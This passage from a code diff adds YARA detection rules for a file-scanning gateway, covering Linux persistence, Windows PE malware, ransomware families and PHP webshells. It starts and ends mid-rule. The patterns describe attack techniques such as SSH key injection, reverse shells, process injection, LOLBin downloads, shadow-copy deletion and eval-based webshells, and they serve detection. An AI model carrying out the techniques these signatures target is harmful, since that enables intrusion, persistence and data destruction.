$authkeys = /\.ssh\/authorized_keys/ ascii
$wgetkey = /wget\s+-O\s+.*authorized_keys/ ascii
$curlkey = /curl\s+.*authorized_keys/ ascii
$echokey = /echo\s+['"]ssh-(rsa|ecdsa|ed25519)/ ascii
$chmod = /chmod\s+\d{3,4}\s+\$\{?SSH_DIR\}?authorized_keys/ ascii
condition:
any of ($wgetkey, $curlkey, $echokey) or ($authkeys and any of ($wgetkey, $curlkey, $chmod))
}
rule C7_Linux_Persistence_SystemD {
meta:
risk_level = "high"
category = "C7"
false_positive_rate = "medium"
reference = "MITRE ATT&CK T1543.002 Systemd Service"
description = "恶意 systemd unit 文件:ExecStart 指向 /tmp/.hidden + multi-user.target + 反弹命令"
strings:
$unit = /\[Unit\]/ ascii
$service = /\[Service\]/ ascii
$install = /\[Install\]/ ascii
$execstart = /ExecStart=/ ascii
$multiuser = /multi-user\.target/ ascii
$hiddenpath = /\/tmp\/\.?\w+|\/var\/tmp\/\.?\w+/ ascii
$bashsh = /\/bin\/(ba)?sh\s+-c/ ascii
condition:
// 完整 unit 片段 + 可疑路径
$unit and $service and $execstart and ($hiddenpath or $bashsh)
or
// Install multi-user.target + ExecStart 反弹
$install and $multiuser and any of ($execstart, $bashsh)
}
rule C7_Linux_Persistence_LD_PRELOAD {
meta:
risk_level = "high"
category = "C7"
false_positive_rate = "medium"
reference = "MITRE ATT&CK T1574.006 LD_PRELOAD"
description = "LD_PRELOAD 劫持:环境变量注入 + .so 文件 + dlopen"
strings:
$ldpreload = /LD_PRELOAD=/ ascii
$sofile = /\.so(\.\d+)?:?/ ascii
$dlopen = "dlopen" ascii
$dlsym = "dlsym" ascii
$exportenv = /export\s+LD_PRELOAD/ ascii
condition:
($ldpreload or $exportenv) and ($sofile or $dlopen or $dlsym)
}
// =============================================================================
// C7-3 Rootkit + 挖矿通用特征
// =============================================================================
rule C7_Linux_Rootkit_KernelModule {
meta:
risk_level = "critical"
category = "C7"
false_positive_rate = "medium"
reference = "MITRE ATT&CK T1547.006 Kernel Modules and Extensions"
description = "内核模块加载:insmod/modprobe + .ko + /proc/kallsyms 隐藏"
strings:
$insmod = /insmod\s+.*\.ko/ ascii
$modprobe = /modprobe\s+.*\.ko/ ascii
$ko = /\.ko(\.xz|\.gz)?\b/ ascii
$hiddenproc = /hide_process_from_dcache|hide_module/ ascii
$proc = /\/proc\/kallsyms|\/proc\/modules/ ascii
$netstat = /\/proc\/net\/tcp|\/proc\/net\/udp/ ascii
condition:
any of ($insmod, $modprobe) and any of ($ko, $hiddenproc)
or
any of ($hiddenproc) and any of ($proc, $netstat)
}
rule C7_Linux_Miner_Generic {
meta:
risk_level = "medium"
category = "C7"
false_positive_rate = "medium"
reference = "MITRE ATT&CK T1496 Resource Hijacking"
description = "挖矿通用特征:stratum+tcp 协议 + 非标准端口(3333/5555/8080)"
strings:
$stratum = "stratum+tcp://" ascii
$stratums = "stratum+ssl://" ascii
$pool = /pool\.(xmr|mine|nanopool|coin|mining)/ ascii nocase
$port3333 = /:\s*3333\b/ ascii
$port5555 = /:\s*5555\b/ ascii
$highcpu = /nice\s+-n\s+[+-]?\d+|cpulimit\s+-l/ ascii
condition:
any of ($stratum, $stratums, $pool) and any of ($port3333, $port5555)
or
any of ($stratum, $stratums) and $highcpu
}
// =============================================================================
// C7-4 跨平台后门:Ruby + Lua + Node.js
// =============================================================================
rule C7_Misc_Ruby_Lua_ReverseShell {
meta:
risk_level = "medium"
category = "C7"
false_positive_rate = "medium"
reference = "多语言反弹 Shell"
description = "Ruby/Lua 反弹 Shell:TCPSocket + exec/system"
strings:
$ruby = "TCPSocket" ascii
$lua = "loadstring" ascii
$lua2 = "luasocket" ascii
$exec = /(exec|system|IO\.popen)\s+.*\/bin\/(ba)?sh/ ascii
condition:
any of ($ruby, $lua, $lua2) and ($exec or any of ($ruby, $lua, $lua2))
}
// =============================================================================
// C7-5 网络投毒 / MITM 工具(内网横向移动)
// =============================================================================
rule C7_Network_Tools_Malicious {
meta:
risk_level = "medium"
category = "C7"
false_positive_rate = "medium"
reference = "内网攻击工具"
description = "内网攻击工具:ettercap/responder/nmap 扫描 + SMB/DNS 投毒"
strings:
$ettercap = "ettercap" ascii nocase
$responder = /responder(\.py)?/ ascii nocase
$nmap = "nmap" ascii nocase
$smb = /--smb/ ascii
$ms17 = "ms17-010" ascii nocase
$smbghost = "SMBGhost" ascii nocase
$dnsspoof = /dns[-_]spoof|dns[-_]mitm/ ascii nocase
$arppoison = /arp[-_]poison|arp[-_]spoof/ ascii nocase
condition:
any of ($ettercap, $responder, $dnsspoof, $arppoison)
or
$nmap and ($smb or $ms17 or $smbghost)
}

403
rules/pe.yar Normal file
View File

@@ -0,0 +1,403 @@
// =============================================================================
// MeshSafe L2B YARA 规则集 —— Windows PE 恶意程序专项(C1 + C8)
// =============================================================================
//
// 设计原则:
// - 所有规则使用 2-3 特征组合命中(API 组合 + C2 URL + Mutex 持久化等)
// - binary.py 的 PE 结构分析负责:节熵 + 签名 + 可疑导入(单 API)
// - YARA 负责:多 API 组合 + 字符串组合 + 壳 + 勒索专项
// - 命中后作为 finding 交给 PolicyEngine 权重累加,不直接零容忍
//
// 范围:
// - C1: Windows PE 恶意程序(注入器 / 下载器 / RAT / Loader)
// - C8: 勒索 / 挖矿专项
// - C9: 壳 / 签名 / 结构异常(binary.py 已覆盖大部分,YARA 补充壳特征)
//
// 维护:
// - 新恶意家族出现时,优先补充"API 组合 + Mutex 名 + C2 URL"三件套
// - 壳特征(UPX/Themida/VMP)可识别后自动送沙箱深检
// =============================================================================
// =============================================================================
// C1-1 进程注入三件套(VirtualAllocEx + WriteProcessMemory + CreateRemoteThread)
// binary.py 扫了 SuspiciousImports(单个 API),但 3 个同时出现 = 必然是注入器
// =============================================================================
rule C1_PE_ProcessInjection {
meta:
risk_level = "critical"
category = "C1"
false_positive_rate = "low"
reference = "MITRE ATT&CK T1055 Process Injection"
description = "PE 文件同时导入 进程注入三件套 API = 远控/注入器特征"
strings:
$s1 = "VirtualAllocEx" ascii
$s2 = "WriteProcessMemory" ascii
$s3 = "CreateRemoteThread" ascii
// 备选:Nt 系列(NtUnmapViewOfSection + VirtualAllocEx + CreateRemoteThread)
$n1 = "NtUnmapViewOfSection" ascii
$n2 = "NtMapViewOfSection" ascii
$n3 = "ZwUnmapViewOfSection" ascii
// 也可能是 QueueUserAPC 注 APC 注入
$apc = "QueueUserAPC" ascii
// 或 SetWindowsHookEx DLL 注入
$hook = "SetWindowsHookEx" ascii
condition:
// 经典三件套(必须同时命中)
$s1 and $s2 and $s3
or
// Nt 系列内存注入(至少 2 个 Nt + 1 个注入)
(any of ($n1, $n2, $n3) and any of ($s1, $s3, $apc))
or
// APC 注入 + VirtualAllocEx
$apc and $s1
or
// Hook DLL 注入
$hook and $s1
}
// =============================================================================
// C1-2 下载器组合(网络 API + 本地持久化 / 执行)
// 单一 URLDownloadToFile 不致命,但 "下载 + 执行 + 持久化" 三件套 = Loader
// =============================================================================
rule C1_PE_Downloader_Loader {
meta:
risk_level = "high"
category = "C1"
false_positive_rate = "low"
reference = "MITRE ATT&CK T1105 Ingress Tool Transfer"
description = "下载器组合:HTTP/FTP 下载 + 写入到可疑路径 + 执行"
strings:
// 网络下载 API(任选其一)
$net1 = "URLDownloadToFile" ascii
$net2 = "InternetOpenUrl" ascii
$net3 = "WinHttpOpen" ascii
$net4 = "WinHttpOpenRequest" ascii
$net5 = "FtpOpenFile" ascii
$net6 = "DownloadFile" ascii
$net7 = "WinHttpSendRequest" ascii
// 写入/保存到本地
$save1 = "WriteFile" ascii
$save2 = "SaveToFile" ascii
$save3 = "URLDownloadToCacheFile" ascii
// 执行下载的载荷
$exec1 = "WinExec" ascii
$exec2 = "CreateProcess" ascii
$exec3 = "ShellExecute" ascii
$exec4 = "CreateRemoteThread" ascii
// 持久化(注册表/启动项)
$persist1 = "RegSetValueEx" ascii
$persist2 = "SetServiceObjectSecurity" ascii
$persist3 = "CreateService" ascii
$persist4 = "schtasks.exe" ascii
$persist5 = "RUN" ascii // HKCU\Software\Microsoft\Windows\CurrentVersion\Run
condition:
// 下载 + 保存 + 执行(三件套)
any of ($net*) and any of ($save*) and any of ($exec*)
or
// 下载 + 持久化(即使没执行也是准备投毒)
any of ($net*) and any of ($persist*)
or
// 执行 + 持久化(下载可能在运行时动态完成)
any of ($exec1, $exec2, $exec3) and any of ($persist*)
}
// =============================================================================
// C1-3 RAT / 远控特征(C2 通信 + 命令执行 + 持久化)
// =============================================================================
rule C1_PE_RAT_CommandControl {
meta:
risk_level = "critical"
category = "C1"
false_positive_rate = "medium"
reference = "MITRE ATT&CK T1071 Application Layer Protocol"
description = "RAT C2 通信特征:WinHTTP/WSASend + 命令执行 API + 可疑 URL/域名"
strings:
// C2 网络通道
$c2_send = /WSASend|send\s*\(|sendto|WinHttpSendRequest|InternetWriteFile/ ascii
$c2_recv = /WSARecv|recv\s*\(|recvfrom|WinHttpReadData|InternetReadFile/ ascii
$c2_connect = /WSAConnect|connect\s*\(|WinHttpConnect|InternetConnect/ ascii
// 命令执行
$cmd = /CreateProcess|ShellExecute|WinExec|system\s*\(|popen/ ascii
// 可疑 C2 URL(可执行文件里出现 http://...exe 或常见 C2 域名)
$c2url1 = /http:\/\/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5}/ ascii
$c2url2 = /https?:\/\/[^\"\s'\)]+\.(ru|top|xyz|tk|ml|ga|gq|cf|pw|click|stream|xyz|buzz|loan)\/[^\"\s'\)]*\.exe/ ascii
$c2url3 = /(c2|panel|gate|bot|ops|serv|beacon|stage|stager)\.(ru|top|xyz|cc|io|com|net)/ ascii
condition:
// C2 通信 + 命令执行(至少两个网络 + 一个命令)
any of ($c2_send, $c2_recv, $c2_connect) and any of ($cmd*) and any of ($c2url*)
or
// C2 URL 模式 + 网络 API
any of ($c2url*) and any of ($c2_connect, $c2_send)
}
// =============================================================================
// C1-4 Mutex 互斥体名(勒索 / RAT / Loader 的持久化标记)
// 单一 Mutex 名有一定价值,但必须配合其他特征才触发
// =============================================================================
rule C1_PE_Mutex_Persistence {
meta:
risk_level = "medium"
category = "C1"
false_positive_rate = "medium"
reference = "MITRE ATT&CK T1057 Process Discovery (mutex as persistence marker)"
description = "可疑 Mutex 名称 + CreateMutex API = 持久化标记"
strings:
$createmutex = "CreateMutexA" ascii
$createmutexw = "CreateMutexW" ascii
// 常见勒索/RAT Mutex 名(大小写不敏感,含 Unicode 变体用 wide)
// LockBit
$lockbit1 = /Global\\[Ll]ock[Bb]it/ ascii
$lockbit2 = /Local\\[Ll]ock[Bb]it/ ascii
// BlackCat / ALPHV
$blackcat = /Global\\[Bb]lack[Cc]at|[Aa][Ll][Pp][Hh][Vv]/ ascii
// Ryuk
$ryuk = /RyukTask[\d]|Global\\Ryuk/ ascii
// Conti
$conti = /Global\\[Cc]onti|Local\\[Cc]onti/ ascii
// Pseudo/Dharma
$dharma = /Global\\[Dd]harma|Local\\[Dd]harma/ ascii
// 通用可疑模式:Mutex 名包含 "Mutex" + UUID 变体
$generic1 = /Global\\Mutex[0-9a-f]{8}/ ascii
// Kryptik/Qakbot
$qakbot = /[Qq]akbot|[Kk]ryptik/ ascii
// Cobalt Strike named pipe
$cs1 = /\\\\\.\\pipe\\msagent_[0-9a-f]+/ ascii
$cs2 = /\\\\\.\\pipe\\[Bb]eacon_[0-9a-f]+/ ascii
condition:
// CreateMutex + 已知家族 Mutex 名
(any of ($createmutex*)) and any of ($lockbit1, $lockbit2, $blackcat, $ryuk, $conti, $dharma, $qakbot)
or
// Cobalt Strike 命名管道特征(不需要 CreateMutex)
any of ($cs*)
or
// CreateMutex + 通用可疑 UUID Mutex
(any of ($createmutex*)) and $generic1
}
// =============================================================================
// C1-5 DLL 劫持 / LoadLibrary 动态加载
// =============================================================================
rule C1_PE_DLLHijacking {
meta:
risk_level = "high"
category = "C1"
false_positive_rate = "medium"
reference = "MITRE ATT&CK T1574 Hijack Execution Flow"
description = "PE 动态加载多个系统 DLL + 非系统路径 = DLL 劫持迹象"
strings:
$loadlib = "LoadLibraryA" ascii
$loadlibw = "LoadLibraryW" ascii
$getproc = "GetProcAddress" ascii
// 可疑加载路径(非 System32)
$path1 = /\\Users\\[^\\]+\\AppData\\Local\\Temp/ ascii
$path2 = /\\AppData\\Local\\Temp/ ascii
$path3 = /\\ProgramData\\/ ascii
$path4 = /\\Public\\Documents\\/ ascii
condition:
// LoadLibrary + 可疑路径 + GetProcAddress = 完整劫持链
(any of ($loadlib*)) and any of ($path*) and $getproc
or
// LoadLibrary + 多个可疑路径
(any of ($loadlib*)) and 2 of ($path*)
}
// =============================================================================
// C1-6 LOLBin(Living Off The Land Binary)调用特征
// 已知合法 Windows 二进制被恶意利用来执行命令
// =============================================================================
rule C1_PE_LOLBin_Usage {
meta:
risk_level = "high"
category = "C1"
false_positive_rate = "low"
reference = "https://lolbas-project.github.io/"
description = "PE 文件中出现 LOLBin 调用:certutil / mshta / rundll32 / regsvr32 / bitsadmin / wmic / msiexec"
strings:
$certutil = /certutil(\.exe)?\s+(-urlcache|-decode|-encode|-hashfile)/ ascii
$mshta = /mshta(\.exe)?\s+(https?:|javascript:|vbscript:)/ ascii
$rundll32 = /rundll32(\.exe)?\s+[A-Za-z0-9_.]+,/ ascii
$regsvr32 = /regsvr32(\.exe)?\s+\/s\s+\/u/ ascii
$bitsadmin = /bitsadmin(\.exe)?\s+(\/transfer|\/create)/ ascii
$wmic = /wmic(\.exe)?\s+(process\s+call\s+create|product\s+call)/ ascii
$msiexec = /msiexec(\.exe)?\s+\/[ia]\s+https?:/ ascii
$installutil = /installutil(\.exe)?\s+\/u\s+\/logfile=/ ascii
$syncapp = /syncapp(\.exe)?\s+\/compattrack/ ascii
$psexec = /psexec(\.exe)?\s+(-accepteula|-i\s+\d+|-w\s+https?:)/ ascii
// 命令执行 API(用于组合条件)
$exec1 = "CreateProcess" ascii
$exec2 = "ShellExecute" ascii
$exec3 = "WinExec" ascii
condition:
// 至少 1 个 LOLBin 调用 + 命令执行 API
any of ($certutil*, $mshta*, $rundll32*, $regsvr32*, $bitsadmin*, $wmic*, $msiexec*, $installutil*, $syncapp*, $psexec*)
and any of ($exec*)
}
// =============================================================================
// C8-1 勒索加密 API 组合(CryptEncrypt + BCrypt* + 文件遍历 + 删除卷影)
// =============================================================================
rule C8_Ransomware_Encryption {
meta:
risk_level = "critical"
category = "C8"
false_positive_rate = "low"
reference = "MITRE ATT&CK T1486 Data Encrypted for Impact"
description = "勒索加密链:CryptEncrypt/BCryptEncrypt + 大量文件遍历 + 卷影删除 = 勒索"
strings:
// 加密 API(至少出现两个)
$enc1 = "CryptEncrypt" ascii
$enc2 = "CryptDeriveKey" ascii
$enc3 = "BCryptEncrypt" ascii
$enc4 = "BCryptDeriveKeyPair" ascii
$enc5 = "CryptGenKey" ascii
// 文件遍历(全盘加密需要)
$enum1 = "FindFirstFileA" ascii
$enum2 = "FindFirstFileW" ascii
$enum3 = "FindNextFileA" ascii
$enum4 = "FindNextFileW" ascii
// 卷影删除(勒索前置)
$vss1 = "vssadmin" ascii
$vss2 = "delete shadows" ascii
$vss3 = "DeleteShadowCopies" ascii
$vss4 = "wmic" ascii
// 勒索信文件名变体(出现在二进制里)
$ransomnote1 = /(HOW_TO_RECOVER|RESTORE_FILES|DECRYPT_INSTRUCTIONS|README|HELP_DECRYPT|_readme|_restore)[\w.-]*\.(txt|html|png|jpg|bmp|url)/ nocase
$ransomnote2 = /\.(locky|zepto|cryptolocker|tor|crpt|encrypted|virus|wallet|pay2)/ nocase
$ransomnote3 = /bitcoin|bitcash|monero|ltc|BTC\b/ ascii
condition:
// 加密 API + 文件遍历 = 加密工具(必须至少 2 个加密 API)
(2 of ($enc*)) and any of ($enum*)
or
// 加密 API + 卷影删除 = 完整勒索
(any of ($enc*)) and any of ($vss*)
or
// 加密 API + 勒索信 + 加密文件扩展名 = 明确勒索
(any of ($enc*)) and (any of ($ransomnote1, $ransomnote2)) and $ransomnote3
}
// =============================================================================
// C8-2 挖矿(xmrig / stratum+tcp / 矿池域名)
// =============================================================================
rule C8_Mining_Monero {
meta:
risk_level = "high"
category = "C8"
false_positive_rate = "low"
reference = "MITRE ATT&CK T1496 Resource Hijacking"
description = "挖矿程序特征:xmrig 命令行参数 / stratum+tcp / 矿池域名"
strings:
// xmrig 命令行特征
$xmrig1 = "xmrig" ascii nocase
$xmrig2 = /--donate-level\s+\d+/ ascii
$xmrig3 = /-o\s+stratum\+tcp/ ascii
$xmrig4 = /--cpu-priority\s+\d/ ascii
$xmrig5 = /--max-threads-hint/ ascii
// 矿池域名(Monero)
$pool1 = "pool.xmrig.com" ascii nocase
$pool2 = "pool.minexmr.com" ascii nocase
$pool3 = "pool.supportxmr.com" ascii nocase
$pool4 = "mine.moneropool.com" ascii nocase
$pool5 = "stratum+tcp://" ascii
// CPU 高占用循环特征
$loop = /(while|for)\s*\(\s*\d+\s*[<>=]/ ascii
$thread = "CreateThread" ascii
condition:
// 至少 2 个 xmrig 特征
(any of ($xmrig1, $xmrig2, $xmrig3, $xmrig4, $xmrig5)) and 2 of ($*)
or
// stratum+tcp 矿池协议 + 多个线程创建
$pool5 and ($thread or 2 of ($xmrig*))
}
// =============================================================================
// C9 壳特征(UPX / Themida / VMProtect / Enigma)
// 壳识别后建议升级到 L3 沙箱深检,不单独阻断
// =============================================================================
rule C9_Packer_UPX {
meta:
risk_level = "medium"
category = "C9"
false_positive_rate = "low"
reference = "UPX Packer"
description = "UPX 加壳 PE:节名 UPX0 / UPX1 + UPX 签名"
strings:
$upx0 = "UPX0" ascii
$upx1 = "UPX1" ascii
$upx2 = "UPX!" ascii
$upx3 = /UPX\s+\d+\.\d+/ ascii // "UPX 3.96" 这类版本字符串
$upx4 = /UPX\b/ ascii
condition:
// 节名(两个)+ 签名
($upx0 and $upx1) or ($upx2 and any of ($upx3, $upx4))
}
rule C9_Packer_Themida_VMP {
meta:
risk_level = "medium"
category = "C9"
false_positive_rate = "low"
reference = "Themida / VMProtect"
description = "商业壳特征:Themida / VMProtect 产品标识字符串"
strings:
$themida1 = "Themida" ascii wide
$themida2 = "WinLicense" ascii wide
$themida3 = "Oreans" ascii wide
$vmp1 = "VMProtect" ascii wide
$vmp3 = "VMProtect SDK" ascii wide
condition:
any of ($themida*) or any of ($vmp*)
}
// =============================================================================
// C1-7 PE 高熵 + 大量网络 API(疑似加壳下载器)
// binary.py 的 HighEntropySection 已单独扫描,但 YARA 看"熵 + 网络"组合
// =============================================================================
rule C1_PE_EntropyHighNetwork {
meta:
risk_level = "medium"
category = "C1"
false_positive_rate = "medium"
reference = "binary.py HighEntropySection 联动"
description = "PE 同时出现:多个网络 API + 加壳特征(熵高) + 无签名"
strings:
$net1 = "InternetOpenUrl" ascii
$net2 = "WinHttpOpen" ascii
$net3 = "URLDownloadToFile" ascii
$net4 = "WSAConnect" ascii
// 壳特征
$upx = "UPX0" ascii
$themida = "Themida" ascii
condition:
// 网络 API + 壳特征 = 加壳下载器
any of ($net*) and ($upx or $themida)
}

210
rules/ransom.yar Normal file
View File

@@ -0,0 +1,210 @@
// =============================================================================
// MeshSafe L2B YARA 规则集 —— 勒索 / 挖矿专项(C8,剩余家族)
// =============================================================================
//
// 设计原则:
// - C8_Ransomware_Encryption 在 pe.yar 里已经覆盖了"加密 API + 卷影删除 + 勒索信"通用链
// - 本文件补充:具体家族特征(LockBit/BlackCat/Conti/Ryuk/Pseudo)+
// 文件扩展名黑名单变体 + 勒索信文件名模式
// - 必须满足"加密 API 组合 + 家族特征"才触发,单靠扩展名不触发
//
// 元数据规范:同 webshell.yar / pe.yar(risk_level, category, false_positive_rate)
// =============================================================================
// =============================================================================
// C8-1 LockBit 家族
// =============================================================================
rule C8_Ransomware_LockBit {
meta:
risk_level = "critical"
category = "C8"
false_positive_rate = "low"
reference = "LockBit / BitLocker 勒索家族"
description = "LockBit 家族特征:Mutex 名 + .lockbit3/.lockbit 扩展名 + CryptEncrypt"
strings:
$mutex1 = /Global\\[Ll]ock[Bb]it/ ascii
$mutex2 = /Local\\[Ll]ock[Bb]it/ ascii
$mutex3 = /LockBit[\d_]/ ascii nocase
$ext1 = /\.lockbit3?\b/ ascii nocase
$ext2 = /\.lckbt\b/ ascii nocase
$enc = /CryptEncrypt|BCryptEncrypt|CryptGenKey/ ascii
$ransomnote = /README[\d_-]*\.(html|txt|bmp|png|jpg|url)/ nocase
condition:
// Mutex + 加密 API(家族识别核心)
any of ($mutex*) and any of ($enc*)
or
// Mutex + 勒索扩展名
any of ($mutex*) and any of ($ext*)
or
// 加密 API + 家族扩展名 + 勒索信
any of ($enc*) and any of ($ext*) and $ransomnote
}
// =============================================================================
// C8-2 BlackCat / ALPHV 家族
// =============================================================================
rule C8_Ransomware_BlackCat {
meta:
risk_level = "critical"
category = "C8"
false_positive_rate = "low"
reference = "BlackCat (ALPHV) 勒索家族"
description = "BlackCat/ALPHV:Mutex + .blackcat/.bc1 扩展名 + Rust 字符串特征"
strings:
$mutex1 = /Global\\[Bb]lack[Cc]at/ ascii
$mutex2 = /[Aa][Ll][Pp][Hh][Vv]/ ascii
$ext1 = /\.blackcat\b/ ascii nocase
$ext2 = /\.bc1?\b/ ascii nocase
$rust1 = "rustc" ascii
$rust2 = "/rustc/" ascii
$enc = /CryptEncrypt|BCryptEncrypt/ ascii
$note = /BlackCat.*README|how_to_decrypt|restore_files/ ascii nocase
condition:
any of ($mutex1, $mutex2) and any of ($enc*, $ext*)
or
any of ($ext*) and any of ($rust*) and $note
}
// =============================================================================
// C8-3 Conti 家族
// =============================================================================
rule C8_Ransomware_Conti {
meta:
risk_level = "critical"
category = "C8"
false_positive_rate = "low"
reference = "Conti 勒索家族"
description = "Conti:Mutex + .conti 扩展名 + 加密 API"
strings:
$mutex1 = /Global\\[Cc]onti/ ascii
$mutex2 = /Local\\[Cc]onti/ ascii
$ext1 = /\.conti\b/ ascii nocase
$enc = /CryptEncrypt|BCryptEncrypt|CryptDeriveKey/ ascii
condition:
any of ($mutex*) and any of ($enc*, $ext*)
or
any of ($ext*) and any of ($enc*)
}
// =============================================================================
// C8-4 Ryuk / Pseudo / Dharma 家族
// =============================================================================
rule C8_Ransomware_Ryuk_Pseudo {
meta:
risk_level = "high"
category = "C8"
false_positive_rate = "medium"
reference = "Ryuk / Pseudo / Dharma 勒索家族"
description = "Ryuk/Pseudo: RyukTask Mutex + 加密 API + .ryk/.pseudo 扩展名"
strings:
$mutex_ryuk = /RyukTask[\d]/ ascii
$mutex_pseudo = /Global\\[Pp]seudo/ ascii
$mutex_dharma = /Global\\[Dd]harma/ ascii
$ext_ryk = /\.ryk\b/ ascii nocase
$ext_pseudo = /\.pseudo\b/ ascii nocase
$ext_dharma = /\.dharma\b/ ascii nocase
$enc = /CryptEncrypt|CryptDeriveKey/ ascii
condition:
(any of ($mutex_ryuk, $mutex_pseudo, $mutex_dharma))
and (any of ($enc*, $ext_ryk, $ext_pseudo, $ext_dharma))
}
// =============================================================================
// C8-5 勒索信文件名模式(独立规则,辅助 family 识别)
// =============================================================================
rule C8_Ransomware_Note_Filename {
meta:
risk_level = "medium"
category = "C8"
false_positive_rate = "medium"
reference = "勒索信文件名通用模式"
description = "勒索信典型文件名变体(匹配后触发需要配合加密 API 才升级高危)"
strings:
$n1 = /HOW_TO_RECOVER[\w.-]*\.(txt|html|png|bmp|jpg|url|vbs|js)/ nocase
$n2 = /RESTORE_FILES[\w.-]*\.(txt|html|png|bmp|jpg|url|vbs|js)/ nocase
$n3 = /DECRYPT_INSTRUCTIONS[\w.-]*\.(txt|html|png|bmp|jpg|url)/ nocase
$n4 = /README[_\s-]*[\d]*[_\s-]*[\w]*\.(txt|html|png|bmp|jpg|url)/ nocase
$n5 = /HELP_DECRYPT[\w.-]*\.(txt|html|png|bmp|jpg|url)/ nocase
$n6 = /_readme[\w.-]*\.(txt|html|png|bmp|jpg|url)/ nocase
$n7 = /_restore[\w.-]*\.(txt|html|png|bmp|jpg|url)/ nocase
$bitcoin = /bitcoin address|BTC\b|monero address|XMR\b|send money|ransom|payment/ nocase
$wallet = /1[A-Za-z0-9]{25,34}|bc1[A-Za-z0-9]{11,71}|4[0-9A-Za-z]{32}/ nocase
$encapi = /CryptEncrypt|BCryptEncrypt|CryptDeriveKey/ ascii
condition:
// 勒索信文件名 + 加密 API = 明确勒索
any of ($n*) and $encapi
or
// 勒索信文件名 + 比特币/XMR 地址 = 大概率勒索
any of ($n*) and any of ($bitcoin, $wallet)
}
// =============================================================================
// C8-6 加密文件扩展名黑名单(不单独触发,配合加密 API)
// =============================================================================
rule C8_Ransomware_Extension_Blacklist {
meta:
risk_level = "low"
category = "C8"
false_positive_rate = "medium"
reference = "勒索加密文件扩展名模式"
description = "常见勒索加密扩展名(.locky/.zepto/.cryptolocker/.encrypted/.virus/.tor/.crpt 等)+ 加密 API"
strings:
$ext1 = /\.locky\b/ nocase
$ext2 = /\.zepto\b/ nocase
$ext3 = /\.cryptolocker\b/ nocase
$ext4 = /\.cryptor\b/ nocase
$ext5 = /\.crypt\b/ nocase
$ext6 = /\.encrypted\b/ nocase
$ext7 = /\.virus\b/ nocase
$ext8 = /\.tor\b/ nocase
$ext9 = /\.crpt\b/ nocase
$ext10 = /\.wallet\b/ nocase
$ext11 = /\.pay2[\w.-]*\.?\w*\b/ nocase
$enc = /CryptEncrypt|BCryptEncrypt|CryptDeriveKey/ ascii
$note = /HOW_TO_RECOVER|RESTORE_FILES|DECRYPT_INSTRUCTIONS|README/ nocase
condition:
// 扩展名 + 加密 API + 勒索信 = 完整勒索链
any of ($ext*) and $enc and $note
or
// 扩展名 + 加密 API(至少 2 种扩展名变体)
(2 of ($ext*)) and $enc
}
// =============================================================================
// C8-7 卷影删除专项(辅助勒索前置)
// =============================================================================
rule C8_Ransomware_VolumeShadow {
meta:
risk_level = "high"
category = "C8"
false_positive_rate = "medium"
reference = "MITRE ATT&CK T1490 Inhibit System Recovery"
description = "删除卷影副本:vssadmin / wmic shadowcopy + 加密 API"
strings:
$vss1 = "vssadmin delete shadows" ascii
$vss2 = /vssadmin\s+delete\s+shadows\s+\/all\b/ ascii
$wmic1 = /wmic\s+shadowcopy\s+delete/ ascii
$wmic2 = /wmic\s+shadowcopy\s+where\s+\d+/ ascii
$vss3 = /ShadowCopy|VolumeShadowCopy|vss\b/i ascii // "i" flag = nocase in YARA
$enc = /CryptEncrypt|BCryptEncrypt|CryptDeriveKey/ ascii
condition:
// 卷影删除 + 加密 API = 完整勒索前置
(any of ($vss1, $vss2, $wmic*, $vss3)) and any of ($enc*)
or
// 连续多次 vssadmin delete = 正在清卷影
any of ($vss1, $vss2) and any of ($wmic*)
}

345
rules/webshell.yar Normal file
View File

@@ -0,0 +1,345 @@
// =============================================================================
// MeshSafe L2B YARA 规则集 — Webshell 专项(C3)
// =============================================================================
//
// 设计原则:
// - 所有规则使用 2-3 个特征组合命中,避免单一关键词导致误杀
// - 光闸场景误报代价极高(阻断合法文件传输),宁可漏报不轻易阻断
// - 命中后作为 finding 交给 PolicyEngine 权重累加,不直接零容忍
//
// 元数据规范:
// risk_level = critical | high | medium | low
// category = "C3"
// false_positive_rate = low | medium | high
//
// 维护:
// - 新 Webshell 工具/变体出现时,优先新增"工具特征"组合规则
// - 纯 PHP/JSP 反序列化 payload 单特征也可能有价值,但组合原则仍适用
// =============================================================================
// =============================================================================
// PHP Webshell —— 一行马 / 变形马
// =============================================================================
// PHP 一行 eval($_POST) 组合(常见的菜刀/蚁剑/冰蝎基础形态)
// 单一 eval + $_GET/$_POST 误伤太大,必须"动态执行入口 + 用户输入 + 输出回显"三点组合
rule C3_PHP_Webshell_Oneliner {
meta:
risk_level = "critical"
category = "C3"
false_positive_rate = "low"
reference = "OWASP Web Shell Cheat Sheet"
description = "PHP 一行 Webshell:eval + 超全局变量 + 输出回显 组合命中"
strings:
$entrypoint = /eval\s*\(\s*\$\s*_(GET|POST|REQUEST|COOKIE)\s*\[.+\]\s*\)/ ascii
// 备选入口:assert / create_function / preg_replace / system
$entryp2 = /assert\s*\(\s*\$\s*_(GET|POST|REQUEST)/ ascii
$entryp3 = /create_function\s*\(\s*['"]['"]\s*,\s*\$\s*_(GET|POST|REQUEST)/ ascii
// 回显手段:print / echo / var_dump / die
$echo = /print|echo|var_dump|die/ ascii
condition:
($entrypoint or $entryp2 or $entryp3) and $echo
}
// PHP Webshell —— 多层解码(base64 + gzinflate + str_rot13)
rule C3_PHP_Webshell_Obfuscated {
meta:
risk_level = "high"
category = "C3"
false_positive_rate = "medium"
reference = "典型 Webshell 变形手段"
description = "PHP 解码链组合(base64_decode + gzinflate / str_rot13 + eval)"
strings:
$b64 = "base64_decode" ascii wide
$eval = "eval(" ascii wide
$gzinflate = "gzinflate" ascii wide
$rot13 = "str_rot13" ascii wide
$assert = "assert(" ascii wide
$createfn = "create_function" ascii wide
condition:
// base64_decode + (eval|assert|create_function) = 解码后动态执行
$b64 and ($eval or $assert or $createfn)
or
// 解码链:base64 + gzinflate / str_rot13 + 执行
$b64 and ($gzinflate or $rot13) and ($eval or $assert)
}
// PHP Webshell —— 变量变形($$a = $_POST['cmd'];$$a($_POST['arg']))
rule C3_PHP_Webshell_VariableDeformation {
meta:
risk_level = "high"
category = "C3"
false_positive_rate = "medium"
reference = "PHP 变量变形 Webshell 特征"
description = "PHP 可变变量组合:$$ 或 ${$ 配合超全局变量"
strings:
$doubledollar = /\$\$\w+\s*=\s*\$\s*_(GET|POST|REQUEST)/ ascii
$curlyvar = /\$\{\$\w+\}\s*\(/ ascii
$superglobal = /\$_/ ascii
$invoke = /\$\$\w+\s*\(/ ascii
condition:
